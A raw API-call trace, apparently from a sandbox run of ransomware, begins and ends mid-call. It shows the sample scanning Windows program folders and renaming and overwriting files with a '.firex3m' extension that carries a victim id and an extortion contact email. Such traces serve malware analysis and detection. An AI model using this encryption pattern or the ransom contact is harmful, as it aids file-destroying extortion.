Size=0x53a4) returned 0x6fe3bb0 [0241.785] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\default.html" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\default.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.789] Sleep (dwMilliseconds=0x1) [0241.800] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", len=0x6c | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0241.800] GetProcessHeap () returned 0x630000 [0241.800] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53f0) returned 0x6fe3bb0 [0241.800] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.801] Sleep (dwMilliseconds=0x1) [0242.983] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", len=0x66 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0242.983] GetProcessHeap () returned 0x630000 [0242.983] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53f8) returned 0x6fe3bb0 [0242.983] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.991] Sleep (dwMilliseconds=0x1) [0243.006] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_LogoSmall.targetsize-48.png", len=0x90 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_LogoSmall.targetsize-48.png") returned 1 [0243.007] GetProcessHeap () returned 0x630000 [0243.007] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5414) returned 0x6fe3bb0 [0243.007] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_LogoSmall.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\money_logosmall.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.016] Sleep (dwMilliseconds=0x1) [0243.038] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\Generic.xbf", len=0x78 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\Generic.xbf") returned 1 [0243.038] GetProcessHeap () returned 0x630000 [0243.038] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5494) returned 0x6fe3bb0 [0243.038] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\Generic.xbf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\themes\\generic.xbf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.040] Sleep (dwMilliseconds=0x1) [0243.048] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\Finance.xml", len=0x95 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\Finance.xml") returned 1 [0243.048] GetProcessHeap () returned 0x630000 [0243.048] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5494) returned 0x6fe3bb0 [0243.048] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\Finance.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\finance\\finance.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.053] Sleep (dwMilliseconds=0x1) [0243.069] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_SplashScreen.scale-100.png", len=0x80 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_SplashScreen.scale-100.png") returned 1 [0243.069] GetProcessHeap () returned 0x630000 [0243.069] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5458) returned 0x6fe3bb0 [0243.069] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_SplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\money_splashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.069] Sleep (dwMilliseconds=0x1) [0243.087] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_LogoSmall.targetsize-32.png", len=0x90 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_LogoSmall.targetsize-32.png") returned 1 [0243.087] GetProcessHeap () returned 0x630000 [0243.087] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5410) returned 0x6fe3bb0 [0243.087] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_LogoSmall.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\money_logosmall.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.089] Sleep (dwMilliseconds=0x1) [0243.101] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", len=0x7e | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned 1 [0243.101] GetProcessHeap () returned 0x630000 [0243.101] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53ec) returned 0x6fe3bb0 [0243.101] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.116] Sleep (dwMilliseconds=0x1) [0243.149] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x67 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0243.149] GetProcessHeap () returned 0x630000 [0243.149] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x536c) returned 0x6fe3bb0 [0243.149] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.242] Sleep (dwMilliseconds=0x1) [0245.812] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as90.xsl", len=0x77 | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as90.xsl") returned 1 [0245.812] GetProcessHeap () returned 0x630000 [0245.812] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e60) returned 0x6fe3bb0 [0245.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0245.840] CloseHandle (hObject=0x620) returned 1 [0245.840] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0245.840] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\as90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0245.841] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0245.842] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7712cc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7712cc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a79751b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x390039, dwReserved1=0x320038, cFileName="as90.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AS90XS~1.FIR")) returned 0x6d4e40 [0245.842] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0245.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0245.842] GetProcessHeap () returned 0x630000 [0245.842] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x49c1) returned 0x7442c98 [0245.842] GetProcessHeap () returned 0x630000 [0245.842] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x49c1) returned 0x6f3f940 [0245.842] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.842] ReadFile (in: hFile=0x620, lpBuffer=0x7442c98, nNumberOfBytesToRead=0x49a0, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7442c98*, lpNumberOfBytesRead=0x41fff0c*=0x49a0, lpOverlapped=0x0) returned 1 [0247.960] GetProcessHeap () returned 0x630000 [0247.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0247.960] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.960] WriteFile (in: hFile=0x620, lpBuffer=0x6f3f940*, nNumberOfBytesToWrite=0x49a0, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3f940*, lpNumberOfBytesWritten=0x41fff0c*=0x49a0, lpOverlapped=0x0) returned 1 [0247.961] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.961] WriteFile (in: hFile=0x620, lpBuffer=0x6f442df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f442df*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0247.961] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.961] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0247.961] CloseHandle (hObject=0x620) returned 1 [0247.961] GetProcessHeap () returned 0x630000 [0247.962] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3f940 | out: hHeap=0x630000) returned 1 [0248.981] GetProcessHeap () returned 0x630000 [0248.981] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7442c98 | out: hHeap=0x630000) returned 1 [0248.981] GetProcessHeap () returned 0x630000 [0248.981] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0249.145] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7712cc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7712cc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59bdd896, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x49de, dwReserved0=0xb307496, dwReserved1=0x7442c90, cFileName="as90.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AS90XS~1.FIR")) returned 0x6d4f40 [0249.146] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0249.146] Sleep (dwMilliseconds=0x1) [0249.160] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", len=0x73 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html") returned 1 [0249.160] GetProcessHeap () returned 0x630000 [0249.160] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e70) returned 0x6fe3bb0 [0249.160] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.161] Sleep (dwMilliseconds=0x1) [0249.232] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileWide.scale-100.png", len=0x7c | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileWide.scale-100.png") returned 1 [0249.232] GetProcessHeap () returned 0x630000 [0249.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e60) returned 0x6fe3bb0 [0249.232] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileWide.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\sports_tilewide.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.234] Sleep (dwMilliseconds=0x1) [0249.247] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-256.png", len=0x82 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-256.png") returned 1 [0249.247] GetProcessHeap () returned 0x630000 [0249.247] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e44) returned 0x6fe3bb0 [0249.248] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\sports_logosmall.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.248] Sleep (dwMilliseconds=0x1) [0249.267] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_LogoSmall.targetsize-16.png", len=0x90 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_LogoSmall.targetsize-16.png") returned 1 [0249.267] GetProcessHeap () returned 0x630000 [0249.267] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e10) returned 0x6fe3bb0 [0249.267] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_LogoSmall.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\sports_logosmall.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.267] Sleep (dwMilliseconds=0x1) [0249.289] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\WATER.INF", len=0x6a | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\WATER.INF") returned 1 [0249.289] GetProcessHeap () returned 0x630000 [0249.289] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4df8) returned 0x6fe3bb0 [0249.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\WATER.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\water.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0249.290] CloseHandle (hObject=0x5ec) returned 1 [0249.290] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.290] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\WATER.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\water.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\WATER.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\water.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.397] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.398] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\WATER.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x74006e, dwReserved1=0x630061, cFileName="WATER.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WATERI~1.FIR")) returned 0x6d5040 [0249.398] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0249.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\WATER.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\water.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0249.398] GetProcessHeap () returned 0x630000 [0249.398] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dc658 [0249.398] GetProcessHeap () returned 0x630000 [0249.398] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dc2a8 [0249.398] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.398] ReadFile (in: hFile=0x5ec, lpBuffer=0x6dc658, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc658*, 